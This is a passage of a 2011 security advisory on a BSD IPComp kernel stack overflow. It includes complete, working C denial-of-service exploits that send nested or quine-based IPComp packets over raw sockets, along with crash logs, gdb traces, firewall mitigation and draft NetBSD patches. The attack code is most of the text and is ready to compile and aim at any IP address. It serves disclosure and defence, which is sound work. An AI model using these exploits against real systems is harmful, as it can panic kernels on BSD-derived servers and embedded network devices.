-12,
MAX_MEM_LEVEL,
Z_DEFAULT_STRATEGY) != Z_OK) {
fprintf(stderr, "error: failed to initialize zlib library\n");
return false;
}
zstream.avail_in = size;
zstream.next_in = data;
zstream.avail_out = MAX_PACKET_SIZE - sizeof(struct ipcomp);
zstream.next_out = ipcomp->comp_data;
if (deflate(&zstream, Z_FINISH) != Z_STREAM_END) {
fprintf(stderr, "error: deflate() failed to create compressed payload, %s\n", zstream.msg);
return false;
}
if (deflateEnd(&zstream) != Z_OK) {
fprintf(stderr, "error: deflateEnd() returned failure, %s\n", zstream.msg);
return false;
}
// Calculate size.
*length = (MAX_PACKET_SIZE - sizeof(struct ipcomp)) - zstream.avail_out;
ipcomp = realloc(ipcomp, *length);
free(data);
return true;
}
int main(int argc, char **argv)
{
int s;
struct sockaddr_in sin = {0};
struct ipcomp *ipcomp = malloc(0);
size_t length = 0;
unsigned depth = 0;
// Nest an ipcomp packet deeply without compression, this allows us to
// create maximum redundancy.
for (depth = 0; depth < MAX_ENCAP_DEPTH; depth++) {
if (ipcomp_encapsulate_data(ipcomp,
length,
IPPROTO_COMP,
&ipcomp,
&length,
Z_NO_COMPRESSION) != true) {
fprintf(stderr, "error: failed to encapsulate data\n");
return 1;
}
}
// Create a final outer packet with best compression, which should now
// compress well due to Z_NO_COMPRESSION used in inner payloads.
if (ipcomp_encapsulate_data(ipcomp,
length,
IPPROTO_COMP,
&ipcomp,
&length,
Z_BEST_COMPRESSION) != true) {
fprintf(stderr, "error: failed to encapsulate data\n");
return 1;
}
fprintf(stdout, "info: created %u nested ipcomp payload, %u bytes\n", depth, length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
sin.sin_addr.s_addr = inet_addr(argv[1]);
if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_COMP)) < 0) {
fprintf(stderr, "error: failed to create socket, %m\n");
return 1;
}
if (sendto(s,
ipcomp,
length,
MSG_NOSIGNAL,
(const struct sockaddr *)(&sin),
sizeof(sin)) != length) {
fprintf(stderr, "error: send() returned failure, %m\n");
return 1;
}
fprintf(stdout, "info: success, packet sent to %s\n", argv[1]);
free(ipcomp);
return 0;
}
Packets of the following form are generated.
Internet Protocol, Src: 192.168.1.1, Dst: 192.168.1.2
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x04 (DSCP 0x01: Unknown DSCP; ECN: 0x00)
0000 01.. = Differentiated Services Codepoint: Unknown (0x01)
.... ..0. = ECN-Capable Transport (ECT): 0
.... ...0 = ECN-CE: 0
Total Length: 205
Identification: 0xc733 (50995)
Flags: 0x00
0.. = Reserved bit: Not Set
.0. = Don't fragment: Not Set
..0 = More fragments: Not Set
Fragment offset: 0
Time to live: 64
Protocol: IPComp (0x6c)
Header checksum: 0x2e69 [correct]
[Good: True]
[Bad : False]
Source: 192.168.1.1
Destination: 192.168.1.2
IP Payload Compression
Next Header: IPComp (0x6c)
IPComp Flags: 0x00
IPComp CPI: DEFLATE (0x0002)
Data (181 bytes)
Data: 73656158...
[Length: 181]
$ gcc ipcomp.c -lz -o ipcomp
$ sudo ./ipcomp 192.168.1.2
info: created 1024 nested ipcomp payload, 2538 bytes
info: success, packet sent to 192.168.1.2
Mar 25 05:34:40 /netbsd: uvm_fault(0xca7bc774, 0x1000, 1) -> 0xe
Mar 25 05:34:40 /netbsd: fatal page fault in supervisor mode
Mar 25 05:34:40 /netbsd: trap type 6 code 0 eip c0633269 cs 8 eflags 10202 cr2 1335 ilevel 0
Mar 25 05:34:40 /netbsd: panic: trap
Mar 25 05:34:40 /netbsd: Begin traceback...
Mar 25 05:34:40 /netbsd: uvm_fault(0xca7bc774, 0, 1) -> 0xe
Mar 25 05:34:40 /netbsd: fatal page fault in supervisor mode
Mar 25 05:34:40 /netbsd: trap type 6 code 0 eip c06e6c90 cs 8 eflags 10246 cr2 8 ilevel 0
Mar 25 05:34:40 /netbsd: panic: trap
Mar 25 05:34:40 /netbsd: Faulted in mid-traceback; aborting...
Adjust depth as required.
(gdb) bt
#0 ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:112
#1 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
#2 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
#3 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
#4 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
#5 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
#6 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
[ trimmed ]
#148 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
#149 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
#150 0xc0162bbb in ip_input (m=0xc14e1300) at ../../../../netinet/ip_input.c:1059
#151 0xc0161b82 in ipintr () at ../../../../netinet/ip_input.c:476
#152 0xc05d6248 in softint_execute (si=0xca79e154, l=0xca7a7a00, s=4) at ../../../../kern/kern_softint.c:539
#153 0xc05d60e6 in softint_dispatch (pinned=0xca7a7500, s=4) at ../../../../kern/kern_softint.c:811
(gdb) info frame
Stack level 0, frame at 0xcab9bf08:
eip = 0xc01ebd5c in ipcomp4_input (../../../../netinet6/ipcomp_input.c:112); saved eip 0xc01ec302
called by frame at 0xcab9bfa8
source language c.
Arglist at 0xcab9bf00, args: m=0xc14e1300
Locals at 0xcab9bf00, Previous frame's sp is 0xcab9bf08
Saved registers:
ebx at 0xcab9bef8, ebp at 0xcab9bf00, esi at 0xcab9befc, eip at 0xcab9bf04
(gdb) info target
Symbols from "netbsd.gdb".
Remote serial target in gdb-specific protocol:
Debugging a target over a serial line.
Therefore, an oob sp will write attacker controlled data.
(gdb) tb panic
Temporary breakpoint 2, panic (fmt=0xc0acf54b "trap") at ../../../../kern/subr_prf.c:184
184 kpreempt_disable();
(gdb) bt
#0 panic (fmt=0xc0acf54b "trap") at ../../../../kern/subr_prf.c:184
#1 0xc06f0919 in trap (frame=0xcac49f84) at ../../../../arch/i386/i386/trap.c:368
#2 0xc06f0566 in trap_tss (tss=0xc0cfe5ec, trapno=13, code=0) at ../../../../arch/i386/i386/trap.c:197
#3 0xc010cb1b in ?? ()
(gdb) frame 1
(gdb) info symbol frame->tf_eip
etc.
-------------------
Mitigation
-----------------------
*******************************************************************************
* Please note, this document is intended for security professionals, network *
* or systems administrators, and vendors of network equipment and software. *
* End users need not be concerned. *
*******************************************************************************
For numerous reasons, it is a good idea to filter IPComp at the perimeter if it is
not expected. Even when implemented correctly, IPComp completely defeats the
purpose of Delayed Compression in OpenSSH (see CAN-2005-2096 for an example of
why you always want delayed compression). Additionally, the encapsulation means
any attacks that require link-local access can simply be wrapped in ipcomp and
are then routable (that is not good).
Affected servers and devices can use packet filtering to prevent the vulnerable
code from being exercised. On systems with ipfw, a rule based on the following
ipfw/ipfw6 template can be used, adjust to whitelist expected peers as
appropriate.
# ipfw add deny proto ipcomp
On other BSD systems, pfctl rules can be substituted. See vendor documentation for
how to configure network appliances to deny IPComp at network boundaries.
-------------------
Solution
-----------------------
I would recommend vendors disallow nested encapulation of ipcomp payloads. The
implementation of this fix will of course vary by product.
By the time you read this advisory, a fix should have been committed to the
NetBSD repository, downstream consumers of NetBSD code are advised to import
the changes urgently.
A draft patch from S.P.Zeidler of the NetBSD project is attached for reference.
-------------------
Credit
-----------------------
This bug was discovered by Tavis Ormandy.
-------------------
Greetz
-----------------------
Greetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert,
Asirap, Meder, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene,
Bruce D., djm, Brian C., djrbliss, jono, and all my other elite friends and
colleagues.
And of course, $1$kk1q85Xp$Id.gAcJOg7uelf36VQwJQ/.
Additional thanks to Jan, Felix and Meder for their mad xnu skillz.
Jan helps organize a security conference called #days held in Lucerne,
Switzerland (a very picturesque Swiss city). The CFP is currently open, you
should check it out at https://www.hashdays.ch/.
-------------------
Notes
-----------------------
An elegant method of reproducing this flaw would be using self-reproducing
Lempel-Ziv programs, rsc describes the technique here:
http://research.swtch.com/2010/03/zip-files-all-way-down.html
This method would also be able to disrupt non-recursive implementations that
do not prevent nested encapulation, such as modern FreeBSD and OpenBSD.
Perhaps this will also affect other non-BSD implementations. An ipcomp
quine is defined below in GNU C syntax below, and a testcase for Linux
is attached to this mail.
struct {
uint8_t comp_nxt; // Next Header
uint8_t comp_flags; // Reserved, must be zero
uint16_t comp_cpi; // Compression parameter index
uint8_t comp_data[180]; // Payload
} ipcomp = {
.comp_nxt = IPPROTO_COMP,
.comp_flags = 0,
.comp_cpi = htons(IPCOMP_DEFLATE),
.comp_data = {
0xca, 0x61, 0x60, 0x60, 0x02, 0x00, 0x0a, 0x00, 0xf5, 0xff,
0xca, 0x61, 0x60, 0x60, 0x02, 0x00, 0x0a, 0x00, 0xf5, 0xff,
0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff,
0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff,
0x00, 0x05, 0x00, 0xfa, 0xff, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff,
0x00, 0x05, 0x00, 0xfa, 0xff, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x0f, 0x00, 0xf0, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x0f, 0x00, 0xf0, 0xff,
0x82, 0x72, 0x61, 0x5c, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
0x01, 0x00, 0x00, 0xff, 0xff, 0x82, 0x72, 0x61, 0x5c, 0x00,
0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0xff, 0xff
}
};
Note that modern FreeBSD and OpenBSD appear to drop incoming ipcomp packets if
no TBD entries are known (see netstat -s -p ipcomp statistics, and
the setkey documentation). You will have to allow for this while
testing. Depending on implementation, You may also need to spoof the
source address of a peer, see man 7 raw.
Special thanks to rsc and Matthew Dempsky for hints and assistance.
Something like this may be useful for testing:
# setkey -c
add 192.168.0.1 192.168.0.2 ipcomp 0002 -C deflate
^D
-
I would advise caution when sending malformed or pathological packets
across critical infrastructure or the public internet, many embedded devices
are based on BSD-derived code and may not handle the error gracefully.
-
Julien will be angry I didn't use scapy, sorry! I am a fan :-)
-
A bug in Xnu's custom allocator for zlib (deflate_alloc) causes zlib
initialisation to fail if ~1k bytes is not available to MALLOC() with M_NOWAIT,
even though M_WAITOK was intended, as described in the comments:
/*
* Avert your gaze, ugly hack follows!
* We init here so our malloc can allocate using M_WAIT.
* We don't want to allocate if ipcomp isn't used, and we
* don't want to allocate on the input or output path.
* Allocation fails if we use M_NOWAIT because init allocates
* something like 256k (ouch).
*/
However with some creativity it is possible to make the allocation succeed. You
can observe this bug by sending an ipcomp packet and looking for the memory
allocation failure in the network statistics (try something like `netstat -s |
grep -A16 ipsec:`). You can also set `sysctl -w net.inet.ipsec.debug=1`.
-------------------
References
-----------------------
- http://research.swtch.com/2010/03/zip-files-all-way-down.html
research!rsc: Zip Files All The Way Down
- http://tools.ietf.org/html/rfc3173
RFC3173: IP Payload Compression Protocol (IPComp)
- http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/netinet6/ipcomp_input.c?rev=1.36&content-type=text/x-cvsweb-markup&only_with_tag=MAIN
NetBSD: ipcomp_input.c, v1.36
- http://www.opensource.apple.com/source/xnu/xnu-1456.1.26/bsd/netinet6/ipcomp_input.c
Xnu: ipcomp_input.c
- http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man8/ipfw.8.html
ipfw -- IP firewall and traffic shaper control program
- http://www.netbsd.org/docs/network/pf.html
The NetBSD Packet Filter (generally applies to other popular BSDs).
- http://fxr.watson.org/fxr/source/netinet6/ipcomp_input.c?v=FREEBSD64#L222
Earlier versions of FreeBSD were implemented recursively, the code was since refactored.
- http://fxr.watson.org/fxr/source/netipsec/xform_ipcomp.c?v=FREEBSD81#L299
The current version is implemented iteratively (see NOTES section on Quine DoS).
- http://www.force10networks.com/products/ftos.asp
FTOS - Force10 Operating System
- http://www.qnx.com/developers/docs/6.4.1/io-pkt_en/user_guide/drivers.html
QNX Network Drivers Documentation
Support high-quality journalism in information security by subscribing to LWN
http://lwn.net/ (i have no connection to lwn other than appreciating their
work).
I have a twitter account where I occasionally comment on security topics.
http://twitter.com/taviso
ex$$
--
-------------------------------------
taviso at cmpxchg8b.com | pgp encrypted mail preferred
-------------------------------------------------------
-------------- next part --------------
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <zlib.h>
#include <alloca.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
//
// BSD IPComp Kernel Stack Overflow Testcase
// -- Tavis Ormandy <taviso at cmpxchg8b.com>, March 2011
//
#define MAX_PACKET_SIZE (1024 * 1024 * 32)
#define MAX_ENCAP_DEPTH 1024
enum {
IPCOMP_OUI = 1,
IPCOMP_DEFLATE = 2,
IPCOMP_LZS = 3,
IPCOMP_MAX,
};
struct ipcomp {
uint8_t comp_nxt; // Next Header
uint8_t comp_flags; // Reserved, must be zero
uint16_t comp_cpi; // Compression parameter index
uint8_t comp_data[0]; // Payload.
};
bool ipcomp_encapsulate_data(void *data,
size_t size,
int nxt,
struct ipcomp **out,
size_t *length,
int level)
{
struct ipcomp *ipcomp;
z_stream zstream;
ipcomp = malloc(MAX_PACKET_SIZE);
*out = ipcomp;
ipcomp->comp_nxt = nxt;
ipcomp->comp_cpi = htons(IPCOMP_DEFLATE);
ipcomp->comp_flags = 0;
// Compress packet payload.
zstream.zalloc = Z_NULL;
zstream.zfree = Z_NULL;
zstream.opaque = Z_NULL;
if (deflateInit2(&zstream,
level,
Z_DEFLATED,
-12,
MAX_MEM_LEVEL,
Z_DEFAULT_STRATEGY) != Z_OK) {
fprintf(stderr, "error: failed to initialize zlib library\n");
return false;
}
zstream.avail_in = size;
zstream.next_in = data;
zstream.avail_out = MAX_PACKET_SIZE - sizeof(struct ipcomp);
zstream.next_out = ipcomp->comp_data;
if (deflate(&zstream, Z_FINISH) != Z_STREAM_END) {
fprintf(stderr, "error: deflate() failed to create compressed payload, %s\n", zstream.msg);
return false;
}
if (deflateEnd(&zstream) != Z_OK) {
fprintf(stderr, "error: deflateEnd() returned failure, %s\n", zstream.msg);
return false;
}
// Calculate size.
*length = (MAX_PACKET_SIZE - sizeof(struct ipcomp)) - zstream.avail_out;
ipcomp = realloc(ipcomp, *length);
free(data);
return true;
}
int main(int argc, char **argv)
{
int s;
struct sockaddr_in sin = {0};
struct ipcomp *ipcomp = malloc(0);
size_t length = 0;
unsigned depth = 0;
// Nest an ipcomp packet deeply without compression, this allows us to
// create maximum redundancy.
for (depth = 0; depth < MAX_ENCAP_DEPTH; depth++) {
if (ipcomp_encapsulate_data(ipcomp,
length,
IPPROTO_COMP,
&ipcomp,
&length,
Z_NO_COMPRESSION) != true) {
fprintf(stderr, "error: failed to encapsulate data\n");
return 1;
}
}
// Create a final outer packet with best compression, which should now
// compress well due to Z_NO_COMPRESSION used in inner payloads.
if (ipcomp_encapsulate_data(ipcomp,
length,
IPPROTO_COMP,
&ipcomp,
&length,
Z_BEST_COMPRESSION) != true) {
fprintf(stderr, "error: failed to encapsulate data\n");
return 1;
}
fprintf(stdout, "info: created %u nested ipcomp payload, %u bytes\n", depth, length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
sin.sin_addr.s_addr = inet_addr(argv[1]);
if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_COMP)) < 0) {
fprintf(stderr, "error: failed to create socket, %m\n");
return 1;
}
if (sendto(s,
ipcomp,
length,
MSG_NOSIGNAL,
(const struct sockaddr *)(&sin),
sizeof(sin)) != length) {
fprintf(stderr, "error: send() returned failure, %m\n");
return 1;
}
fprintf(stdout, "info: success, packet sent to %s\n", argv[1]);
free(ipcomp);
return 0;
}
-------------- next part --------------
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <zlib.h>
#include <alloca.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
//
// Nested IPComp Encapsulation with DEFLATE LZ77 RFC1951 Quine.
//
// The technique used to generate this payload is documented here:
//
// http://research.swtch.com/2010/03/zip-files-all-way-down.html
//
// -- Tavis Ormandy <taviso at cmpxchg8b.com>, March 2011
//
// Special thanks to rsc and Matthew Dempsky.
//
enum {
IPCOMP_OUI = 1,
IPCOMP_DEFLATE = 2,
IPCOMP_LZS = 3,
IPCOMP_MAX,
};
int main(int argc, char **argv)
{
int s;
struct sockaddr_in sin = {0};
struct __attribute__((packed)) {
uint8_t comp_nxt; // Next Header
uint8_t comp_flags; // Reserved, must be zero
uint16_t comp_cpi; // Compression parameter index
uint8_t comp_data[180]; // Payload
} ipcomp = {
.comp_nxt = IPPROTO_COMP,
.comp_flags = 0,
.comp_cpi = htons(IPCOMP_DEFLATE),
.comp_data = {
0xca, 0x61, 0x60, 0x60, 0x02, 0x00, 0x0a, 0x00, 0xf5, 0xff,
0xca, 0x61, 0x60, 0x60, 0x02, 0x00, 0x0a, 0x00, 0xf5, 0xff,
0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff,
0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff,
0x00, 0x05, 0x00, 0xfa, 0xff, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff,
0x00, 0x05, 0x00, 0xfa, 0xff, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x0f, 0x00, 0xf0, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x0f, 0x00, 0xf0, 0xff,
0x82, 0x72, 0x61, 0x5c, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
0x01, 0x00, 0x00, 0xff, 0xff, 0x82, 0x72, 0x61, 0x5c, 0x00,
0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0xff, 0xff
}
};
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
sin.sin_addr.s_addr = inet_addr(argv[1]);
if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_COMP)) < 0) {
fprintf(stderr, "error: failed to create socket, %m\n");
return 1;
}
if (sendto(s,
&ipcomp,
sizeof(ipcomp),
MSG_NOSIGNAL,
(const struct sockaddr *)(&sin),
sizeof(sin)) != sizeof(ipcomp)) {
fprintf(stderr, "error: send() returned failure, %m\n");
return 1;
}
fprintf(stdout, "info: success, packet sent to %s\n", argv[1]);
return 0;
}
-------------- next part --------------
Index: sys/netipsec/xform_ipcomp.c
===================================================================
RCS file: /cvsroot/src/sys/netipsec/xform_ipcomp.c,v
retrieving revision 1.25
diff -u -u -p -r1.25 xform_ipcomp.c
--- sys/netipsec/xform_ipcomp.c 24 Feb 2011 20:03:41 -0000 1.25
+++ sys/netipsec/xform_ipcomp.c 29 Mar 2011 19:24:04 -0000
@@ -326,6 +326,14 @@ ipcomp_input_cb(struct cryptop *crp)
/* Keep the next protocol field */
addr = (uint8_t*) mtod(m, struct ip *) + skip;
nproto = ((struct ipcomp *) addr)->comp_nxt;
+ if (nproto == IPPROTO_IPCOMP || nproto == IPPROTO_AH || nproto == IPPROTO_ESP) {
+ IPCOMP_STATINC(IPCOMP_STAT_HDROPS);
+ DPRINTF(("ipcomp_input_cb: nested ipcomp, IPCA %s/%08lx\n",
+ ipsec_address(&sav->sah->saidx.dst),
+ (u_long) ntohl(sav->spi)));
+ error = EINVAL;
+ goto bad;
+ }
/* Remove the IPCOMP header */
error = m_striphdr(m, skip, hlen);
-------------- next part --------------
Index: sys/netinet6/ipcomp_input.c
===================================================================
RCS file: /cvsroot/src/sys/netinet6/ipcomp_input.c,v
retrieving revision 1.36
diff -u -u -p -r1.36 ipcomp_input.c
--- sys/netinet6/ipcomp_input.c 5 May 2008 13:41:30 -0000 1.36
+++ sys/netinet6/ipcomp_input.c 29 Mar 2011 19:19:00 -0000
@@ -148,6 +148,13 @@ ipcomp4_input(m, va_alist)
ipcomp = mtod(md, struct ipcomp *);
ip = mtod(m, struct ip *);
nxt = ipcomp->comp_nxt;
+ if (nxt == IPPROTO_IPCOMP || nxt == IPPROTO_AH || nxt == IPPROTO_ESP) {
+ /* nested ipcomp - possible attack, not likely useful */
+ ipseclog((LOG_DEBUG, "IPv4 IPComp input: nested ipcomp "
+ "(bailing)\n"));
+ IPSEC_STATINC(IPSEC_STAT_IN_INVAL);
+ goto fail;
+ }
hlen = ip->ip_hl << 2;
cpi = ntohs(ipcomp->comp_cpi);
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